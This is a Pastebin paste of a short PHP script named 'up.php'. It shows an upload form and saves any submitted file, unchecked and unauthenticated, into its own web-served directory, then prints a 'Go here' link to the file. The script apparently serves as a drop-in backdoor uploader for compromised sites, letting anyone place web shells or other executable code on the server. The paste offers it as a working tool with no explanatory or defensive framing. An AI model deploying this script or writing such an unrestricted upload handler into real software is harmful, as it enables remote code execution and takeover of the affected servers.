PalmaSolutions

up.php

Mar 26th, 2018
264
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.02 KB | None | 0 0
  1. <?php echo "<div align=\"center\">
  2. <img src=\"http://i.imgur.com/kkhH5Ig.png\" width=\"250\" height=\"245\"></img><br>
  3. <form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
  4. <label for=\"file\">Filename:</label>
  5. <input type=\"file\" name=\"file\" id=\"file\" />
  6. <br />
  7. <input type=\"submit\" name=\"submit\" value=\"Upload\">
  8. </form>
  9. </div>
  10. ";if(isset($_POST["submit"])){if($_FILES["file"]["error"]>0){echo"Error: ".$_FILES["file"]["error"]."<br />";}else{echo"Upload: ".$_FILES["file"]["name"]."<br />";echo"Size: ".($_FILES["file"]["size"]/1024)." Kb<br />";echo"Stored in: ".$_FILES["file"]["tmp_name"]."<br>";}if(file_exists("".$_FILES["file"]["name"])){echo$_FILES["file"]["name"]." already exists. ";}else{move_uploaded_file($_FILES["file"]["tmp_name"],"".$_FILES["file"]["name"]);$path=__dir__;echo"Stored in: ".$path."/".$_FILES["file"]["name"]."<br>";echo"<hr>";$url="http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"];$path=str_replace("up.php",$_FILES["file"]["name"],$url);echo"Go here : ".$path."<br>";}}
  11. ?>
Advertisement
Add Comment
Please, Sign In to add comment